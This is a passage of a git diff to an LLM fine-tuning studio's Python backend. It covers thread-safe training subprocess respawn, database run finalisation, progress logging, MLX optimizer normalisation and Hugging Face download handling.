-            self._pump_thread = new_pump
-            # Start under the lock so _ensure_pump_alive can never observe the
-            # new pump as a not-yet-started (dead) thread and spawn a duplicate.
-            new_pump.start()
+        # Reset the handshake flag on any unexpected failure past this point, so a
+        # crashed respawn cannot wedge is_training_active until restart.
+        try:
+            try:
+                with native_path_secret_removed_for_child_start():
+                    event_queue = _CTX.Queue()
+                    stop_queue = _CTX.Queue()
+                    new_proc = _CTX.Process(
+                        target = run_without_native_path_secret,
+                        args = (run_training_process,),
+                        kwargs = {
+                            "event_queue": event_queue,
+                            "stop_queue": stop_queue,
+                            "config": config,
+                        },
+                        daemon = True,
+                    )
+                    new_proc.start()
+                    from utils.process_lifetime import adopt_pid
+
+                    adopt_pid(new_proc.pid)  # bind to parent lifetime (Windows job / sweep)
+            except Exception:
+                logger.error("Failed to respawn training subprocess", exc_info = True)
+                self._spawn_in_progress = False
+                with self._lock:
+                    # No replacement pump will run; clear the flag so a later run can't
+                    # inherit a stale _pump_running=True and spawn a duplicate.
+                    self._pump_running = False
+                    self._progress.is_training = False
+                    self._progress.error = "Failed to recover stalled model download"
+                self._ensure_db_run_created()
+                self._finalize_run_in_db(
+                    status = "error",
+                    error_message = "Failed to recover stalled model download",
+                )
+                return
+
+            logger.info("Training subprocess respawned with Xet disabled (pid=%s)", new_proc.pid)
+            new_pump = threading.Thread(target = self._pump_loop, daemon = True)
+            with self._lock:
+                self._in_model_load = False
+                self._event_queue = event_queue
+                self._stop_queue = stop_queue
+                self._proc = new_proc
+                self._spawn_in_progress = False
+                self._pump_thread = new_pump
+                # Start under the lock so _ensure_pump_alive can never observe the
+                # new pump as a not-yet-started (dead) thread and spawn a duplicate.
+                new_pump.start()
+        except Exception:
+            self._spawn_in_progress = False
+            raise
 
     def _ensure_pump_alive(self) -> bool:
         """Restart the event pump if it crashed, even after the worker exited.
@@ -673,6 +1416,10 @@ class TrainingBackend:
 
     def is_training_active(self) -> bool:
         """Check if training is currently active."""
+        # A spawn past its sidecar-swap recheck counts as active even before _proc is recorded,
+        # so an install cannot slip in mid-spawn.
+        if getattr(self, "_spawn_in_progress", False):
+            return True
         # Self-heal a crashed pump first: a dead pump must never leave the worker
         # training invisibly behind a frozen UI. Cheap enough for per-second polls.
         self._ensure_pump_alive()
@@ -1022,17 +1769,24 @@ class TrainingBackend:
                 self._progress.is_training = True
 
             elif etype == "complete":
-                self._progress.is_training = False
-                self._progress.is_completed = True
-                self._output_dir = event.get("output_dir")
                 msg = event.get("status_message", "Training completed")
+                stopped = self._should_stop or msg.strip().lower() in {
+                    "training cancelled",
+                    "training stopped",
+                }
+                # Save is done by now; let the stop watchdog start its grace timer.
+                self._complete_seen.set()
+                self._progress.is_training = False
+                self._progress.is_completed = not stopped
+                self._output_dir = event.get("output_dir")
+                self._progress.output_dir = self._output_dir
                 self._progress.status_message = msg
                 if not self._db_run_created and self.current_job_id and self._db_config:
                     db_action = "create_and_finalize"
                 else:
                     db_action = "finalize"
                 db_action_kwargs = {
-                    "status": "stopped" if self._should_stop else "completed",
+                    "status": "stopped" if stopped else "completed",
                     "output_dir": self._output_dir,
                 }
 
@@ -1085,91 +1839,167 @@ class TrainingBackend:
         elif db_action == "finalize":
             self._finalize_run_in_db(**db_action_kwargs)
 
-    def _ensure_db_run_created(self) -> None:
-        """Create the DB row if it doesn't exist yet. Called outside the lock."""
-        if self._db_run_created or not self.current_job_id or not self._db_config:
+        if etype == "progress":
+            self._log_training_progress()
+
+    def _log_training_progress(self) -> None:
+        """One throttled training-status line to the server log (the per-step stream
+        still goes to the UI via SSE): first step, then at most every 30s, plus the
+        final step; resyncs on a new run. Runs on the pump thread."""
+        p = self._progress
+        step = int(p.step or 0)
+        if step <= 0:
             return
+        total = int(p.total_steps or 0)
+        is_final = total > 0 and step >= total
+        prev = self._last_progress_log_step
+        if step == prev:
+            return
+        now = time.monotonic()
+        if prev >= 0 and step > prev and not is_final and (now - self._last_progress_log_ts) < 30.0:
+            return
+        self._last_progress_log_ts = now
+        self._last_progress_log_step = step
+        logger.info(
+            "training_progress",
+            step = step,
+            total_steps = total or None,
+            percent = int(step * 100 / total) if total > 0 else None,
+            loss = round(p.loss, 4) if p.loss is not None else None,
+            epoch = round(p.epoch, 2) if p.epoch is not None else None,
+            eta_s = int(p.eta_seconds) if p.eta_seconds else None,
+        )
+
+    def _ensure_db_run_created(self) -> None:
+        """Create the DB row if it doesn't exist yet. An in-progress flag lets only one
+        caller create at a time, and ``_db_run_created`` is published only after
+        ``create_run`` commits, so a concurrent finalize never runs ``finish_run`` against a
+        not-yet-inserted row (a zero-row UPDATE that would leave the run stuck as running)."""
+        with self._lock:
+            if (
+                self._db_run_created
+                or self._db_create_in_progress
+                or not self.current_job_id
+                or not self._db_config
+            ):
+                return
+            self._db_create_in_progress = True  # only one caller creates
+            job_id = self.current_job_id
+            db_config = self._db_config
+            started_at = self._db_started_at or datetime.now(timezone.utc).isoformat()
+            total_steps = self._progress.total_steps or None
+        created = False
         try:
             from storage.studio_db import create_run
 
             dataset_name = (
-                self._db_config.get("hf_dataset")
-                or next(iter(self._db_config.get("local_datasets") or []), None)
-                or _s3_dataset_name(self._db_config.get("s3_dataset"))
+                db_config.get("hf_dataset")
+                or next(iter(db_config.get("local_datasets") or []), None)
+                or _s3_dataset_name(db_config.get("s3_dataset"))
                 or "unknown"
             )
             create_run(
-                id = self.current_job_id,
-                model_name = self._db_config["model_name"],
+                id = job_id,
+                model_name = db_config["model_name"],
                 dataset_name = dataset_name,
-                config_json = _json.dumps(self._db_config),
-                started_at = self._db_started_at or datetime.now(timezone.utc).isoformat(),
-                total_steps = self._progress.total_steps or None,
+                config_json = _json.dumps(db_config),
+                started_at = started_at,
+                total_steps = total_steps,
             )
-            self._db_run_created = True
+            created = True
         except Exception:
             logger.warning("Failed to create DB run record for early failure", exc_info = True)
+        finally:
+            with self._lock:
+                # Publish the flags only if this is still the current run. A killed worker
+                # lets a new /start proceed mid-create, and these flags are backend-wide, so
+                # a stale create for the captured job must not satisfy the new run's DB state
+                # (the row was still created by id; the new run owns/creates its own row).
+                if self.current_job_id == job_id:
+                    if created:
+                        self._db_run_created = True  # publish only after the insert commits
+                    self._db_create_in_progress = False
 
     def _finalize_run_in_db(
         self,
         status: str,
         error_message: Optional[str] = None,
         output_dir: Optional[str] = None,
+        expected_job_id: Optional[str] = None,
     ) -> None:
-        """Flush remaining metrics and mark a run as finished in the DB."""
-        if not self.current_job_id or not self._db_run_created or self._run_finalized:
-            return
-        self._flush_metrics_to_db()
+        """Flush remaining metrics and mark a run finished in the DB. Claims the finalize
+        under the lock so the watchdog and pump can't double-finalize, and no-ops when
+        ``expected_job_id`` no longer matches (a new run took over). The run id and final
+        progress are snapshotted under the lock and threaded through the flush/finish calls,
+        so a new run racing between this claim and the DB writes can't be flushed or marked
+        stopped under the old run's finalize."""
+        with self._lock:
+            if expected_job_id is not None and self.current_job_id != expected_job_id:
+                return
+            if not self.current_job_id or not self._db_run_created or self._run_finalized:
+                return
+            self._run_finalized = True
+            run_id = self.current_job_id
+            final_step = self._progress.step
+            final_loss = self._progress.loss
+            if final_loss is not None and not math.isfinite(final_loss):
+                final_loss = None
+            duration = self._progress.elapsed_seconds
+            loss_history = list(self.loss_history)
+        self._flush_metrics_to_db(run_id = run_id)
         try:
             from storage.studio_db import finish_run
             from utils.downsample import downsample
 
-            sparkline = downsample(self.loss_history, 50)
+            sparkline = downsample(loss_history, 50)
             finish_run(
-                id = self.current_job_id,
+                id = run_id,
                 status = status,
                 ended_at = datetime.now(timezone.utc).isoformat(),
-                final_step = self._progress.step,
-                final_loss = self._progress.loss
-                if (self._progress.loss is not None and math.isfinite(self._progress.loss))
-                else None,
-                duration_seconds = self._progress.elapsed_seconds,
+                final_step = final_step,
+                final_loss = final_loss,
+                duration_seconds = duration,
                 loss_sparkline = _json.dumps(sparkline),
                 output_dir = output_dir,
                 error_message = error_message,
             )
-            self._run_finalized = True
         except Exception:
+            with self._lock:
+                self._run_finalized = False  # unclaim so a later flush can retry
             logger.warning("Failed to finalize run in DB (status=%s)", status, exc_info = True)
 
-    def _flush_metrics_to_db(self) -> None:
-        """Flush buffered metrics to the database and update live progress."""
-        if not self._metric_buffer or not self.current_job_id or not self._db_run_created:
-            return
-        # Cap buffer to bound memory growth.
-        if len(self._metric_buffer) > 500:
-            logger.warning(
-                "Metric buffer exceeded 500 entries (%d) — trimming oldest",
-                len(self._metric_buffer),
-            )
-            self._metric_buffer = self._metric_buffer[-500:]
-        # Snapshot before insert so metrics arriving during the write survive.
-        batch = list(self._metric_buffer)
+    def _flush_metrics_to_db(self, run_id: Optional[str] = None) -> None:
+        """Flush buffered metrics to the DB and update live progress. The target run id,
+        metric batch, and progress snapshot are all taken under the lock, so a concurrent
+        flush can't double-remove metrics and a racing new run can't redirect the write to
+        a different job. A finalizer passes ``run_id`` to pin the target to its captured run."""
+        with self._lock:
+            target = run_id if run_id is not None else self.current_job_id
+            if not self._metric_buffer or not target or not self._db_run_created:
+                return
+            # Cap buffer to bound memory growth.
+            if len(self._metric_buffer) > 500:
+                logger.warning(
+                    "Metric buffer exceeded 500 entries (%d) — trimming oldest",
+                    len(self._metric_buffer),
+                )
+                del self._metric_buffer[:-500]
+            # Claim the batch under the lock so a concurrent flush can't re-remove it.
+            batch = list(self._metric_buffer)
+            del self._metric_buffer[: len(batch)]
+            step = self._progress.step
+            loss = self._progress.loss
+            if loss is not None and not math.isfinite(loss):
+                loss = None
+            duration = self._progress.elapsed_seconds
         try:
             from storage.studio_db import insert_metrics_batch, update_run_progress
-
-            insert_metrics_batch(self.current_job_id, batch)
-            del self._metric_buffer[: len(batch)]
-            update_run_progress(
-                id = self.current_job_id,
-                step = self._progress.step,
-                loss = self._progress.loss
-                if (self._progress.loss is not None and math.isfinite(self._progress.loss))
-                else None,
-                duration_seconds = self._progress.elapsed_seconds,
-            )
+            insert_metrics_batch(target, batch)
+            update_run_progress(id = target, step = step, loss = loss, duration_seconds = duration)
         except Exception:
-            # Leave buffer intact for retry on next flush
+            # Re-queue the claimed batch at the front so it retries on the next flush.
+            with self._lock:
+                self._metric_buffer[:0] = batch
             logger.warning("Failed to flush metrics to DB", exc_info = True)
 
     @staticmethod
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index 610af2472e..c52adbe8fa 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -1253,32 +1253,48 @@ def _adapt_for_mlx_vlm(
     return adapted
 
 
-_MLX_STUDIO_OPTIM_MAP = {
-    "adamw_8bit": "adamw",
-    "paged_adamw_8bit": "adamw",
-    "adamw_bnb_8bit": "adamw",
-    "paged_adamw_32bit": "adamw",
-    "adamw_torch": "adamw",
-    "adamw_torch_fused": "adamw",
-    "adamw": "adamw",
-    "adafactor": "adafactor",
-    "sgd": "sgd",
-    "adam": "adam",
-    "muon": "muon",
-    "lion": "lion",
-}
 _MLX_STUDIO_LR_SCHEDULERS = {"linear", "cosine", "constant"}
 
 
+# Fallback alias map mirroring unsloth_zoo._normalize_mlx_optimizer_name, used
+# only when mlx (Apple Silicon) is not importable so Studio config validation
+# still works on non-MLX hosts. The zoo function stays the source of truth.
+_MLX_STUDIO_ADAMW_ALIASES = frozenset(
+    (
+        "adamw_8bit",
+        "paged_adamw_8bit",
+        "adamw_bnb_8bit",
+        "paged_adamw_32bit",
+        "adamw_torch",
+        "adamw_torch_fused",
+        "paged_adamw",
+        "adamw_32bit",
+        "adamw_hf",
+        "adamw_anyprecision",
+        "adamw_apex_fused",
+    )
+)
+_MLX_STUDIO_NATIVE_OPTIMIZERS = ("adafactor", "adamw", "adam", "sgd", "muon", "lion")
+
+
 def _normalize_mlx_studio_optimizer(value):
-    raw = str(value or "adamw_8bit").strip().lower()
     try:
-        return _MLX_STUDIO_OPTIM_MAP[raw]
-    except KeyError:
-        supported = ", ".join(sorted(_MLX_STUDIO_OPTIM_MAP))
-        raise ValueError(
-            f"Unsupported optimizer for MLX training: {value!r}. " f"Supported values: {supported}."
-        )
+        from unsloth_zoo.mlx.trainer import _normalize_mlx_optimizer_name
+        return _normalize_mlx_optimizer_name(value or "adamw_8bit")
+    except (ImportError, ValueError):
+        # Missing mlx, or an older unsloth-zoo whose normalizer lacks CUDA/TRL
+        # aliases: map common adamw_* names locally so notebook defaults work.
+        opt = str(getattr(value, "value", value) or "adamw_8bit").strip().lower()
+        opt = opt.rsplit(".", 1)[-1].replace("-", "_")
+        if opt in _MLX_STUDIO_ADAMW_ALIASES:
+            opt = "adamw"
+        if opt not in _MLX_STUDIO_NATIVE_OPTIMIZERS:
+            supported = ", ".join(_MLX_STUDIO_NATIVE_OPTIMIZERS)
+            raise ValueError(
+                f"Unsupported optimizer for MLX training: {value!r}. "
+                f"Supported optimizers: {supported}."
+            )
+        return opt
 
 
 def _normalize_mlx_studio_scheduler(value):
@@ -1293,14 +1309,18 @@ def _normalize_mlx_studio_scheduler(value):
 
 
 def _resolve_mlx_local_dataset_files(file_paths: list) -> list[str]:
-    """Resolve Studio local dataset uploads without importing the GPU trainer."""
+    """Resolve CLI paths and Studio local dataset uploads without importing the GPU trainer."""
     from utils.paths import resolve_dataset_path
 
     all_files: list[str] = []
     for dataset_file in file_paths or []:
-        file_path = (
-            dataset_file if os.path.isabs(dataset_file) else str(resolve_dataset_path(dataset_file))
-        )
+        dataset_path = Path(os.path.expanduser(str(dataset_file)))
+        if dataset_path.is_absolute():
+            file_path = str(dataset_path)
+        elif dataset_path.exists():
+            file_path = str(dataset_path.resolve())
+        else:
+            file_path = str(resolve_dataset_path(str(dataset_file)))
         file_path_obj = Path(file_path)
 
         if file_path_obj.is_dir():
@@ -1339,6 +1359,58 @@ def _mlx_local_dataset_loader_for_files(files: list[str]) -> str:
     raise ValueError(f"Unsupported dataset format: {files[0]}")
 
 
+_MLX_WORKER_COMPLETE = "_mlx_worker_complete"
+
+
+def _start_mlx_stop_poller(stop_queue):
+    import queue as _queue
+    import threading
+
+    stop_save = [True]
+    stop_requested = [False]
+    trainer_ref = [None]
+
+    def is_stop_requested():
+        return stop_requested[0]
+
+    def poll_stop():
+        while True:
+            try:
+                msg = stop_queue.get(timeout = 0.25)
+                if msg and msg.get("type") == _MLX_WORKER_COMPLETE:
+                    return
+                if msg and msg.get("type") == "stop":
+                    stop_save[0] = msg.get("save", True)
+                    stop_requested[0] = True
+                    trainer = trainer_ref[0]
+                    if trainer is not None:
+                        trainer.stop_requested = True
+                    return
+            except _queue.Empty:
+                continue
+            except (EOFError, OSError):
+                return
+
+    stop_thread = threading.Thread(target = poll_stop, daemon = True)
+    stop_thread.start()
+    return stop_save, stop_requested, trainer_ref, is_stop_requested, stop_thread
+
+
+def _resolve_mlx_output_dir(config, model_name):
+    from utils.paths import resolve_output_dir, default_run_dir_name
+
+    output_dir = config.get("output_dir", "")
+    if not output_dir:
+        output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
+        return str(resolve_output_dir(output_dir))
+    if config.get("allow_external_output_dir"):
+        output_path = Path(output_dir).expanduser()
+        if not output_path.is_absolute():
+            output_path = Path.cwd() / output_path
+        return str(output_path.resolve())
+    return str(resolve_output_dir(output_dir))
+
+
 def _run_mlx_training(event_queue, stop_queue, config):
     """Self-contained MLX training path for Apple Silicon.
 
@@ -1347,8 +1419,6 @@ def _run_mlx_training(event_queue, stop_queue, config):
     """
     import time
     import math
-    import threading
-    import queue as _queue
     from pathlib import Path
 
     def _send(event_type, **kwargs):
@@ -1358,31 +1428,9 @@ def _run_mlx_training(event_queue, stop_queue, config):
                 kwargs["message"] = sm
         event_queue.put({"type": event_type, "ts": time.time(), **kwargs})
 
-    _stop_save = [True]
-    _stop_requested = [False]
-    _trainer_ref = [None]
-
-    def _is_stop_requested():
-        return _stop_requested[0]
-
-    def _poll_stop():
-        while True:
-            try:
-                msg = stop_queue.get(timeout = 1.0)
-                if msg and msg.get("type") == "stop":
-                    _stop_save[0] = msg.get("save", True)
-                    _stop_requested[0] = True
-                    trainer = _trainer_ref[0]
-                    if trainer is not None:
-                        trainer.stop_requested = True
-                    return
-            except _queue.Empty:
-                continue
-            except (EOFError, OSError):
-                return
-
-    stop_thread = threading.Thread(target = _poll_stop, daemon = True)
-    stop_thread.start()
+    _stop_save, _stop_requested, _trainer_ref, _is_stop_requested, _stop_thread = (
+        _start_mlx_stop_poller(stop_queue)
+    )
 
     _send("status", status_message = "Loading MLX libraries...")
 
@@ -1683,6 +1731,7 @@ def _run_mlx_training(event_queue, stop_queue, config):
     # sharegpt+images) and text (alpaca/sharegpt/chatml → "text" column).
     format_type = config.get("format_type", "")
     custom_format_mapping = config.get("custom_format_mapping")
+    dataset_final_format = ""
     try:
         from utils.datasets import format_and_template_dataset
         def _fmt_progress(status_message = "", **_kw):
@@ -1748,6 +1797,7 @@ def _run_mlx_training(event_queue, stop_queue, config):
             )
             if info.get("success", True):
                 dataset = info.get("dataset", dataset)
+            dataset_final_format = str(info.get("final_format", "") or "").lower()
             if eval_dataset is not None:
                 ev = format_and_template_dataset(
                     eval_dataset,
@@ -1788,21 +1838,14 @@ def _run_mlx_training(event_queue, stop_queue, config):
 
     # ── 5. Build output dir ──
     # Resolve to ~/.unsloth/studio/outputs/ so the export page finds it
-    from utils.paths import resolve_output_dir, ensure_dir
+    from utils.paths import ensure_dir
 
-    output_dir = config.get("output_dir", "")
-    if not output_dir:
-        output_dir = build_default_output_dir_name(
-            model_name,
-            config.get("project_name"),
-        )
-    output_dir = str(resolve_output_dir(output_dir))
+    output_dir = _resolve_mlx_output_dir(config, model_name)
     ensure_dir(Path(output_dir))
 
     # ── 6. Create trainer ──
     eval_steps_val = config.get("eval_steps", 0) or 0
     if isinstance(eval_steps_val, float) and 0 < eval_steps_val < 1:
-        # Studio sometimes sends fraction-of-total-steps
         eval_steps_val = max(1, int(eval_steps_val * max_steps))
     else:
         eval_steps_val = int(eval_steps_val)
@@ -1853,6 +1896,9 @@ def _run_mlx_training(event_queue, stop_queue, config):
         eval_steps = eval_steps_val,
     )
 
+    # Also gates the masking skip below, so defined outside the feature-detect block.
+    raw_text_mode = training_type == "Continued Pretraining" or format_type == "raw"
+
     # Feature-detect optional fields so this PR works without the paired zoo bump.
     _supported_fields = getattr(MLXTrainingConfig, "__dataclass_fields__", {})
     if "cast_norm_output_to_input_dtype" in _supported_fields:
@@ -1866,7 +1912,6 @@ def _run_mlx_training(event_queue, stop_queue, config):
     if "max_grad_leaf_norm" in _supported_fields:
         mlx_config_kwargs["max_grad_leaf_norm"] = max_grad_leaf_norm
     if "append_eos" in _supported_fields:
-        raw_text_mode = training_type == "Continued Pretraining" or format_type == "raw"
         # Studio SFT formatting owns rendered examples; raw/CPT text still
         # needs MLX to append EOS like the CUDA raw-text path.
         mlx_config_kwargs["append_eos"] = bool(raw_text_mode)
@@ -1887,29 +1932,27 @@ def _run_mlx_training(event_queue, stop_queue, config):
         _send("eval_configured")
 
     # ── 7. Apply train_on_responses_only if requested ──
-    if config.get("train_on_completions", False):
+    # Auto-detect markers from the chat template first, manual table as
+    # fallback. Mirror the CUDA skips: raw/CPT text has no chat turns and
+    # Alpaca-rendered text lacks the chat markers. Also check the resolved
+    # format, since format_type="auto" can land on alpaca or raw text.
+    if (
+        config.get("train_on_completions", False)
+        and not raw_text_mode
+        and format_type != "alpaca"
+        and dataset_final_format not in ("alpaca", "raw_text")
+    ):
         _send("status", status_message = "Configuring response-only training...")
-        try:
-            from utils.datasets import (
-                MODEL_TO_TEMPLATE_MAPPER,
-                TEMPLATE_TO_RESPONSES_MAPPER,
-            )
-
-            template_name = MODEL_TO_TEMPLATE_MAPPER.get(model_name.lower())
-            markers = TEMPLATE_TO_RESPONSES_MAPPER.get(template_name) if template_name else None
-            if markers:
-                trainer = train_on_responses_only(
-                    trainer,
-                    instruction_part = markers["instruction"],
-                    response_part = markers["response"],
-                )
-            else:
-                _send(
-                    "status",
-                    status_message = f"train_on_completions skipped (no template for {model_name})",
-                )
-        except Exception as e:
-            _send("status", status_message = f"train_on_completions failed: {e}")
+        # No catch: the helper handles detection failures and double misses, so
+        # an exception here is a real masking failure that must fail the run,
+        # not silently train on full sequences.
+        from utils.datasets.completion_masking import apply_completion_masking
+        trainer, _masking_applied = apply_completion_masking(
+            trainer,
+            model_name,
+            train_on_responses_only,
+            notify = lambda level, message: _send("status", status_message = message),
+        )
 
     # ── 8. Setup wandb / tensorboard ──
     wandb_run = None
@@ -2027,12 +2070,27 @@ def _run_mlx_training(event_queue, stop_queue, config):
     # ── 11. Run training ──
     gc.collect()
     mx.synchronize()
-    trainer.train(resume_from_checkpoint = resume_from_checkpoint)
+    _save_model = trainer.save_model
+
+    def _skip_internal_final_save(*args, **kwargs):
+        raise ValueError("worker owns final save")
+
+    trainer.save_model = _skip_internal_final_save
+    try:
+        trainer.train(resume_from_checkpoint = resume_from_checkpoint)
+    finally:
+        trainer.save_model = _save_model
 
     # ── 12. Save and finalize ──
-    if trainer.stop_requested and not _stop_save[0]:
-        # User clicked "Cancel" (save=False) — skip saving
-        _send("complete", output_dir = None, status_message = "Training cancelled")
+    if trainer.stop_requested:
+        if not _stop_save[0]:
+            # Cancel (save=False): skip saving.
+            _send("complete", output_dir = None, status_message = "Training cancelled")
+        else:
+            _send("status", status_message = "Saving stopped model...")
+            mx.synchronize()
+            trainer.save_model(output_dir)
+            _send("complete", output_dir = output_dir, status_message = "Training stopped")
     else:
         _send("status", status_message = "Saving model...")
         mx.synchronize()
@@ -2051,6 +2109,79 @@ def _run_mlx_training(event_queue, stop_queue, config):
             pass
 
 
+def _is_current_process_apple_silicon() -> bool:
+    import platform
+    return platform.system() == "Darwin" and platform.machine() == "arm64"
+
+
+def run_mlx_training_process(
+    *,
+    event_queue: Any,
+    stop_queue: Any,
+    config: dict,
+    transformers_activated: bool = False,
+) -> None:
+    """MLX worker entrypoint shared by Studio subprocesses and the CLI adapter."""
+    model_name = config["model_name"]
+
+    backend_path = str(Path(__file__).resolve().parent.parent.parent)
+    if backend_path not in sys.path:
+        sys.path.insert(0, backend_path)
+
+    from utils.hf_xet_fallback import child_should_disable_xet
+
+    if child_should_disable_xet(config):
+        os.environ["HF_HUB_DISABLE_XET"] = "1"
+        os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = "0"
+
+    if not transformers_activated:
+        # Must precede detect_hardware(): its MLX stack check imports mlx_lm, hence transformers.
+        _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None)
+
+    from utils.hardware import hardware as _hw
+
+    _hw.detect_hardware()
+    if _hw.DEVICE != _hw.DeviceType.MLX:
+        event_queue.put(
+            {
+                "type": "error",
+                "error": "MLX training requires Apple Silicon with the MLX backend available.",
+                "stack": "",
+                "ts": time.time(),
+            }
+        )
+        return
+
+    if config.get("is_dataset_audio"):
+        event_queue.put(
+            {
+                "type": "error",
+                "error": "Audio dataset training is not yet supported on Apple Silicon.",
+                "stack": "",
+                "ts": time.time(),
+            }
+        )
+        return
+
+    try:
+        try:
+            _run_mlx_training(event_queue, stop_queue, config)
+        finally:
+            try:
+                stop_queue.put({"type": _MLX_WORKER_COMPLETE})
+            except (EOFError, OSError, ValueError):
+                pass
+    except Exception as exc:
+        event_queue.put(
+            {
+                "type": "error",
+                "error": str(exc),
+                "stack": traceback.format_exc(limit = 20),
+                "ts": time.time(),
+            }
+        )
+
+
 def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> None:
     """Subprocess entrypoint. Fresh Python — no stale module state.
 
@@ -2059,7 +2190,11 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
         stop_queue: mp.Queue for stop commands from the parent.
         config: Training config dict with all parameters.
     """
-    os.environ["TOKENIZERS_PARALLELISM"] = "false"
+    # Off on Linux (forked datasets map() workers deadlock otherwise); on spawn
+    # platforms map() is in-process, so keep tokenizer threads on for faster prep.
+    os.environ["TOKENIZERS_PARALLELISM"] = (
+        "true" if sys.platform in ("win32", "darwin") else "false"
+    )
     os.environ["PYTHONWARNINGS"] = "ignore"  # before imports
 
     # HTTP-fallback respawn: disable Xet before any huggingface_hub import (the
@@ -2125,36 +2260,26 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
     if backend_path not in sys.path:
         sys.path.insert(0, backend_path)
 
+    from .training import is_apple_silicon_training_platform, should_use_mlx_training_backend
+
+    mlx_backend_requested = is_apple_silicon_training_platform()
+
+    mlx_transformers_activated = False
+    if mlx_backend_requested and _is_current_process_apple_silicon():
+        # Must precede detect_hardware(): its MLX stack check imports mlx_lm, hence transformers.
+        _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None)
+        mlx_transformers_activated = True
+
     from utils.hardware import hardware as _hw
 
     _hw.detect_hardware()
-    if _hw.DEVICE == _hw.DeviceType.MLX:
-        if config.get("is_dataset_audio"):
-            event_queue.put(
-                {
-                    "type": "error",
-                    "error": "Audio dataset training is not yet supported on Apple Silicon.",
-                    "stack": "",
-                    "ts": time.time(),
-                }
-            )
-            return
-        # Activate correct transformers version (Gemma-4 needs a 5.x sidecar, etc.)
-        # Must happen before any transformers/mlx-lm imports in _run_mlx_training.
-        # Non-fatal: fall through with whatever version is installed, but log
-        # the failure instead of swallowing it (issue #6103).
-        _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None)
-        try:
-            _run_mlx_training(event_queue, stop_queue, config)
-        except Exception as exc:
-            event_queue.put(
-                {
-                    "type": "error",
-                    "error": str(exc),
-                    "stack": traceback.format_exc(limit = 20),
-                    "ts": time.time(),
-                }
-            )
+    if mlx_backend_requested or should_use_mlx_training_backend(device = _hw.DEVICE):
+        run_mlx_training_process(
+            event_queue = event_queue,
+            stop_queue = stop_queue,
+            config = config,
+            transformers_activated = mlx_transformers_activated,
+        )
         return
 
     # ── 1. Activate correct transformers version BEFORE any ML imports ──
@@ -2458,6 +2583,15 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
                         _bnb_rocm_ver,
                     )
 
+            # Setting BNB_ROCM_VERSION makes bitsandbytes log a benign override
+            # notice on import; drop only that record so real errors and mismatch
+            # warnings still show.
+            if os.environ.get("BNB_ROCM_VERSION"):
+                import logging as _logging
+                _logging.getLogger("bitsandbytes.cextension").addFilter(
+                    lambda _r: "environment variable detected" not in _r.getMessage()
+                )
+
             # Parse HIP version for the kernel-fix gate below, falling back to
             # the rocm version embedded in torch.__version__ when version.hip is
             # unset (AMD SDK / Radeon wheels).
@@ -2677,7 +2811,8 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
         if backend_path not in sys.path:
             sys.path.insert(0, backend_path)
 
-        from core.training.trainer import UnslothTrainer, TrainingProgress
+        from core.training.training import TrainingProgress
+        from core.training.trainer import UnslothTrainer
         from utils.paths import (
             ensure_dir,
             resolve_output_dir,
@@ -2888,11 +3023,24 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
             ),
             xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1",
         )
+        # Latest-sidecar models load 16-bit here too: bnb 4-bit feeds quantized
+        # expert weights into unvalidated paths (same flip as the chat worker).
+        _train_load_in_4bit = config["load_in_4bit"]
+        if _train_load_in_4bit:
+            from utils.transformers_version import latest_tier_active_for
+            if latest_tier_active_for(model_name, hf_token):
+                _train_load_in_4bit = False
+                logger.info(
+                    "Latest-transformers sidecar active for %s - forcing a 16-bit "
+                    "training load (4-bit is disabled for brand-new architectures)",
+                    model_name,
+                )
+
         try:
             success = trainer.load_model(
                 model_name = model_name,
                 max_seq_length = config["max_seq_length"],
-                load_in_4bit = config["load_in_4bit"],
+                load_in_4bit = _train_load_in_4bit,
                 full_finetuning = not use_lora,
                 hf_token = hf_token,
                 is_dataset_image = config.get("is_dataset_image", False),
diff --git a/studio/backend/hub/services/download_lifecycle.py b/studio/backend/hub/services/download_lifecycle.py
index 44c39337fb..e5d48872c1 100644
--- a/studio/backend/hub/services/download_lifecycle.py
+++ b/studio/backend/hub/services/download_lifecycle.py
@@ -8,6 +8,7 @@ import os
 import signal
 import subprocess
 import sys
+import time
 import threading
 from pathlib import Path
 from typing import Callable, Optional
@@ -75,6 +76,10 @@ def spawn_worker(
     env["HF_HUB_DISABLE_PROGRESS_BARS"] = "1"
     env["HF_HUB_DISABLE_TELEMETRY"] = "1"
     env["HF_HUB_DISABLE_XET"] = "0" if use_xet else "1"
+    # No token in Studio settings: fall back to the backend's own HF_TOKEN so
+    # private repos stay downloadable (needed while inkling repos are private).
+    if not hf_token:
+        hf_token = os.environ.get("HF_TOKEN") or None
     env["HF_HUB_DISABLE_IMPLICIT_TOKEN"] = "0" if hf_token else "1"
     # hf_transfer's parallel Range chunks can leave sparse partials even in
     # "http" mode; disable so the worker's writer is always sequential.
@@ -206,7 +211,9 @@ def finalize_worker_exit(
     repo_type: Optional[RepoType] = None,
     repo_id: Optional[str] = None,
     transport: Optional[str] = None,
-) -> None:
+    cancel_marker_transport: Optional[str] = None,
+    defer_error: bool = False,
+) -> str:
     """Block until *proc* exits, then record the job's terminal state in
     *registry*. Drains and scrubs stderr first, then classifies the exit code.
     A no-op when the process was already dropped (e.g. superseded).
@@ -218,7 +225,7 @@ def finalize_worker_exit(
     rc = proc.wait()
     cancel_requested = registry.cancel_requested(key)
     if not registry.drop_process(key, proc):
-        return
+        return "idle"
     stderr_text = download_registry.scrub_secrets(
         (stderr_data or b"").decode("utf-8", "replace").strip(),
         hf_token = hf_token,
@@ -226,6 +233,8 @@ def finalize_worker_exit(
     state = classify_exit(rc, cancel_requested = cancel_requested)
     if state == "complete":
         registry.set_job(key, "complete")
+        if transport == download_registry.TRANSPORT_HTTP:
+            registry.update_job_transport(key, download_registry.TRANSPORT_HTTP)
         if stderr_text:
